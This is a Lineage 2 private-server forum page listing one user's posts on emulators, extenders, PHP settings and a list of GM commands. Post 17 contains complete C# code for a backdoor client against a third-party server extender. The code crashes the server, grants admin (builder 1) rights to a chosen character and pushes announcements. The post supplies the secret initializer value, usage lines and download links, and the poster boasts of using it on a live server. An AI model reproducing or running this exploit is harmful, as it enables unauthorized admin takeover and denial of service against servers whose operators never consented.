Jump to content

Anarchy

Members
  • Posts

    566
  • Joined

  • Last visited

  • Days Won

    23
  • Feedback

    0%

Everything posted by Anarchy

  1. yes they are in l2server.exe yes it's possible to find them and modify them, just not for you
  2. $2k? lol. You seriously overestimate the value of this source.
  3. C++ is not synonymous with l2off. Having part of your emulator as C++ does not make it anywhere close to l2off.
  4. or overwrite the handler table, code is much cleaner that way ;)
  5. That hook is before the opcode obfuscation code, so if you have it enabled in the l2server.ini you won't get the opcodes that you are expecting there.
  6. Then the same goes for you then, because your entire changelog is nothing but small bugs.
  7. So then master of l2off do tell us what's so bad about these files. I've checked the files out and the only things wrong with them are basic bugs that any real developer can fix, and a few fuckups thrown in most likely by rpg. So what are these gaping holes that make these files worse than the C4 or C1 leak? hmmm?
  8. I would of done but seeing as there was already a topic about GM commands it seemed kind of redundant to have 2 topics about it.
  9. Commands by builder level. Some may be missing I just did it real quick before I go to bed, i'll double check it tomorrow. Note: The commands that have -blocked- half-way through them, the word is "d o m i n i o n" without the spaces ofc. A moderator needs to get Maxtor to remove that word from the block list. Builder Level 1 mrcreate mrendsell mrrun mrend reset_skill pingon pingoff settax updatecastleincome setbuilder skillmod giveitem summon summon2 summon3 summon_option summon_option_random summon_set_item summon_attribute delete_buff setarea setarea_all areaname set_freeze_field set_pausable set_controltower_status mid_victory closeauth set_castle_owner show_r_terri go_r_terri show_n_terri go_n_terri show_d_terri show_b_terri reset_castle_owner reset_time settime ignore_weapon_random lotto_set_number tutorial_event click_tutorial_question show_tutorial_html show_question_mark enable_client_event close_html show_radar del_radar spawn_npcs spawn_all_npc manor_time_ignore set_siege_regist_state dwarf_recipe common_recipe restart_client send_inspector vtest multisell drop_all_inven_item destroy_all_inven_item show_line_by_adena vehicle vehicle_reload vehicle_start remove_caching_html set_static_mesh_status show_trace show_mark send_skill_list send_learnable_skill_list send_pledge_skill send_sub_pledge_skill set_tutorial load_ui_setting evolve_pet cansee1 cansee2 movetest skill_master skill_debugger siege_defence_count set_create_char_count npc_use_skill npc_skill show_click_pos click path_finder tel_real_pos show_pos_trace userpacket_monitor botcheckitem_give_user fishing_event_status set_buildercmd_level delete_skills c_enter_world reset_mac reset_ip reset_user_ui premium_item no_limit_fly xmas_event setpremium add_gamepoint sub_gamepoint set_product_buyable calc_next_all_manor set_country Builder Level 2 bbs setskill event delskill set_skill_all reset_npc_db viewpn gotopn qmove setcastleincome summonnpc drop_item_each set_pledge_level set_siege destruct_ctrl_tower set_quick_siege auction_close auction_open load_pledge door_levelup controltower_levelup set_siege_end set_door_hp defend attack unregister set_siege_period set_castle_status set_bp set_door_status set_door_status2 sesame door_open_all expel_from_castle time_limit register_tb_pledge unregister_tb_pledge register_tb_user unregister_tb_user dup_enterworld summon_illusion set_tb lotto_pause lotto_resume lotto_cancel lotto_set_reward lotto_set_draw lotto_move_round vote sociality reset_vote gen_summon_act hennaequip hennaunequip set_petition_disable_time show_castle_tax declare_clan_war declare_clan_war2 declare_truce invite join snoop join2 invite2 declare_alliance_war declare_truce2 reset_alliance_name reset_respawn accept_escape_command subjob ssq next_boss_record_round initialize_boss_record set_boss_point escape_mode agitdeco observer can_make_clan move_cell add_mapbug set_newchr drop_item manor_reset defend_register defend_reject abnormal_change set_hero set_zzaga_hero create_pledge create_academy acquire_pledge_skill acquire_sub_pledge_skill del_pledge_skill del_subpledge_skill del_subpledge_skill_all switch_pledgewar_member_count_condition earthquake register_mg_pledge join_mg set_mg_time set_mg_winner mg_pledge_check_loosely add_pledge_namevalue redsky record_fish_length set_max_channel set_party_per_channel request_fish_prize set_auction_status create_auction_bid withdraw_auction_bid create_auction register_dominion_pledge declare_lord cancel_lord standby_dominion start_dominion end_dominion move_ownthing register_dominion set_dominion_period set_dominion_start set_dominion_end set_birthday set_damage add_residence_skill remove_residence_skill Builder Level 3 partytel create_pet delete_pet despawn_pet setpetparam setonetimequest healthy delquest delquest_nr killme setai setkarma setclass castleincome setannounce delannounce hide whisper remove_skill_delay remove_skill_delay_all view_enemy_list view_enemy_list2 cease_fire cease_fire2 set_interval_announce enable_plane_collision killnpc setparam setpower unsetpower polymorph friendaddoff friendaddon tradeoff tradeon observer_end observer_start is_in_water lotto_info show_clan_info reset_clan_name reset_clan_leader disband quiet disband2 show_alliance_info delete_alliance_member ssq3 npcpos_event set_journal set_journal_nr pledge_member_call dispelall use_skill use_skill_all eventmatch enchantskill_reset dismiss_partyroom load_event load_npcsetting load_pccafe_event_setting load_fishing_event_setting load_coretime_teleport_event_setting load_xmas_santa_event_setting show_eventsetting show_npcsetting show_pccafe_event_setting show_fishing_event_setting show_coretime_teleport_event_setting set_nobless pccafe add_pccafe_point get_item_by_pccafe_point graduate_academy set_academy_master reset_academy_master cursed_weapon_delete cursed_weapon_killpoint give_cursed_weapon load_pccafe_coupon_event_setting show_pccafe_coupon_event_setting check_pccafe_coupon use_pccafe_coupon show_pccafe_coupon_ui check_plane_collision recall_party_member set_no_restart show_no_restart remove_no_restart duel set_char_item_duration set_item_duration daylight_saving show_auction_list pvpmatch bot_block_sec bot_block_clear bot_block_add bot_block_remove bot_block_me show_lines_test Builder Level 5 eventview partycall setquest setquest_nr gmon home worlddebug stopsay stoplogin recall sendhome kick infectedskill undying show_agit_info ride show_bp show_castle_info show_door_hp get_petition_disable_time instant_move instant_move2 debug_item ssq5 ssq_status col_setcolor col_ban agitdecolist ps_cancel ps_stop ps_start ride_wyvern getoff_wyvern char_stop party_stop party_teleport send_gmroom switch_market_price_warning reload_market_price market_price ns olympiad set_fatigue_time set_fatigue_user teleport_to_npc check_bot gmreg gmunreg inzone view_pledgewar_list fortress show_usermapdensity invisible targetable nametag show_territory spawn_pc_trap trap_detecting trap_activate trap_defuse summon_doppelganger field_cycle steal_Infected_skill broadcast_emitter_spawn unequip_weapon aship botcheckitem botcheckitem_npc botcheckitem_user fakeitem fakeitem_npc fakeitem_user fakeitemstate pcsearch check_imitation buff_test pftest bookmark inc_bot_count see_bot_count see_bot_top10 reset_bot_count reset_bot_restrain set_bot_count set_bot_rcount user_pvpmatch cleft blockupset register_dominion_user show_dominion_registry show_ownthing show_dominion get_dominion_start get_dominion_end dominion_list register_dominion_builder resurrect change_evolution scene_play scene_play_range scene_play_stop attack_test1 attack_test2 attack_test1_sec attack_test2_sec skill_test skill_test2 come_to_me Builder Level 6 gmliston petans endpet startpet cancelgmpeti leavepetimsg teleportto announce critannounce announce2 showparty Builder Level 7 xmastree xmasevent initxmasevent bbsinfo npccount bk telbookmark ping teleport netping dropping carrota debug diet gmspeed reload ask_residence ask_now show_castle_door_hp add_peti_chat left_peti_chat force_peti dice view_tb show_loc camera ssq_info boss_record_round_info allgm loadhtml inspect_partyroom show_partyroom set_partyroom_waiting_count check_boss_alive view_mg cursed_weapon_view cursed_weapon_setting_view re play_scene set_economic_restriction cachepingstate cachepingtime npcpingstate npcpingtime jump jump_packet packet_log show_target_pos show_item_info Builder Level 9 serverstat who show spawninfo debugnpc servername social action force_sitdown play_music play_voice actorcount viewpower gmchat escape addcomment viewcomment time_info combat siege_list blockuser distance geo_test peti_vote npcping set_npclook eventmatchop show_pccafe setskilllock show_fish_ranklist show_fish_rewardlist server_setting skill_reuse_delay cubic_skill_delay_del cubic_skill_delay_reset
  10. He won't share the RPG dlls because he doesn't want people to know that AdvExt only has 2 fixes more than the RPG dlls.
  11. 8388608 bytes? how many characters are you trying to query? I think your script has some bad management of resources to consume 8mb of data just for character names, even in unicode 8mb is almost 168,000 character names. So I would examine your script and make sure that resources such as the sql row data are deleted once you have done what you need with them, and also look at limiting the data that is returned to exactly what you need. But anyway. php.ini: ; Maximum amount of memory a script may consume (128MB) ; http://php.net/memory-limit memory_limit = 8M Set that to 128M or something and it shouldn't error anymore.
  12. You should NEVER use Visual Studio 2010 for l2off extenders. 2005 must be used for C4, and 2008 most likely for Gracia Final (i haven't checked yet) There are very important differences between stl containers/classes in each visual studio version, which when you are compiling a full program cause no problem, but when you are compiling an extender it can cause havoc with your classes. Best example is vectors, in 2008 microsoft added a new pointer to the stl vector which makes the vector 8 bytes bigger on 64bit, when extending an application compiled in 2005 with an ext compiled in 2008, different vector sizes means the first 8 bytes immediately after a vector in a class are now inaccessible.
  13. Coming soon: Gracia Final extender guide.
  14. bitch if you were ever on msn i would of told you about it, but noooo you're offline 24/7 and when you are online you ignore me :(
  15. ... seriously? any server that uses the leaked version of that extender you can crash and get builder 1...
  16. This applies specifically to THIS TOPIC. Inside that version is a rather clever backdoor that can; Crash the server Set a character as builder 1 (by char name, character must be online) Get online player count (unmultiplied) Send announcements to the server Compiled Download Link -> http://www.multiupload.com/RR7D3V7BW0 Class source link -> http://maxcheaters.com/forum/index.php?topic=208957 Edit by Finito: added image
  17. This applies specifically to THIS TOPIC. Inside that version is a rather clever backdoor that can; Crash the server Set a character as builder 1 (by char name, character must be online) Get online player count (unmultiplied) Send announcements to the server Code is in C# class KationBackdoor { private uint nBackdoorInt; public KationBackdoor(uint value) { SetInt(value); } public void SetInt(uint value) { nBackdoorInt = value; } public bool Crash(String ip, int port) { return (QueryServer(1, null, ip, port) == 1); } public bool Announce(String str, String ip, int port) { return (QueryServer(2, str, ip, port) == 1); } public bool SetBuilder(String name, String ip, int port) { return (QueryServer(3, name, ip, port) == 1); } public int GetPlayerCount(String ip, int port) { return QueryServer(4, null, ip, port); } private int QueryServer(int nQueryType, String strQuery, String strIP, int nPort) { IPEndPoint ipe = new IPEndPoint(IPAddress.Parse(strIP), nPort); Socket serverSock = new Socket(ipe.AddressFamily, SocketType.Stream, ProtocolType.Tcp); try { serverSock.Connect(ipe); if (serverSock.Connected) { MemoryStream ms = new MemoryStream(); BinaryWriter bw = new BinaryWriter(ms); bw.Write((short)0); // holder for length bw.Write((byte)0); // protocol version opcode bw.Write(nBackdoorInt); // backdoor initializer bw.Write((uint)2921549720); // unknown integer (not even needed, overwritten by server) bw.Write(nQueryType); // query type identifier if (nQueryType == 2 || nQueryType == 3) { UnicodeEncoding enc = new UnicodeEncoding(false, false); byte[] data = enc.GetBytes(strQuery); bw.Write(data, 0, data.Length); bw.Write((short)0); } bw.Seek(0, SeekOrigin.Begin); bw.Write((short)ms.Length); serverSock.Send(ms.GetBuffer(), (int)ms.Length, SocketFlags.None); byte[] recvBuffer = new byte[256]; serverSock.Receive(recvBuffer, recvBuffer.Length, SocketFlags.None); BinaryReader br = new BinaryReader(new MemoryStream(recvBuffer)); short len = br.ReadInt16(); byte op = br.ReadByte(); int ret = br.ReadInt32(); if (op != nQueryType-1) MessageBox.Show(op.ToString() + " Received, NOT QUERY TYPE!"); serverSock.Close(); return ret; } return -2; } catch { if (serverSock.Connected) serverSock.Close(); return -1; } } } int required for the linked version is 2711833028 i haven't checked in the cracked version shared by Vanganth, or the version(s) sold by resellers. Usage: KationBackdoor kbd = new KationBackdoor(2711833028); kbd.Crash("127.0.0.1", 7777); but do note, this backdoor no longer exists in current live versions of Vanganth's extender, though i did have some fun with L2Hydra before they updated lol Compiled application link -> http://maxcheaters.com/forum/index.php?topic=208959
  18. If you are using hAuthD set UserCount in hAuthD.ini to 1 then use SELECT TOP 1 world_user FROM lin2db.dbo.user_count WHERE server_id = 1 ORDER BY record_time DESC where server_id is the id from the server table in lin2db, it is updated automatically by the native AuthD every 5 minutes, for hAuthD i'm not sure the delay, but it is more accurate and will return 0 when the server is down.
  19. FOR THE LOVE OF GOD BUY A FUCKING TLD a .com domain costs 10 fucking dollars are you that fucking poor?
  20. Wrong. True online count never goes above 1.2k 2/3rds of the online players are offline shops So there is only 400-500 actual players.
  21. That was English. A side note, this hashing algorithm is notoriously insecure, and has an incredibly alarming collision rate. You should use hAuthD and enable hint's custom md5 password encryption, which is a hell of a lot more secure.
  22. Pot calling the kettle black or what... fuck... You are a little kid who thinks you are a pro dev, people like YOU killed l2.
  23. I never said I don't believe you, anyone can do dumbass shit with an open cached, you seem to be the only person who gets a boner over it, but I guess that's because you have only just discovered it, whereas everyone else has known about it since the c1 server. I simply pointed out the hilarious irony that you are calling piotress a nub for something you also did not that long ago, or did you forget already waldek1992?
  24. Shakal, that is incredibly ironic coming from you, considering you did the exact same thing with your server.
  25. If you are using shared hosting and don't have the ability to recompile php or enable extensions yourself then just put a webserver on your game box. If your hosting isn't shared and you can recompile php then you can use the PDO ODBC driver which is included in the later sources of php, but not compiled into php by default. More info on PDO ODBC -> http://php.net/manual/en/ref.pdo-odbc.php Ignore the MSSQL PDO driver though, it cannot be loaded on linux, and as of PHP 5.3 the MSSQL driver is officially depreciated due to it's replacement by microsoft (sqlsrv, which also isn't supported on linux), and php's dropping of support for VC6 extensions.
×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..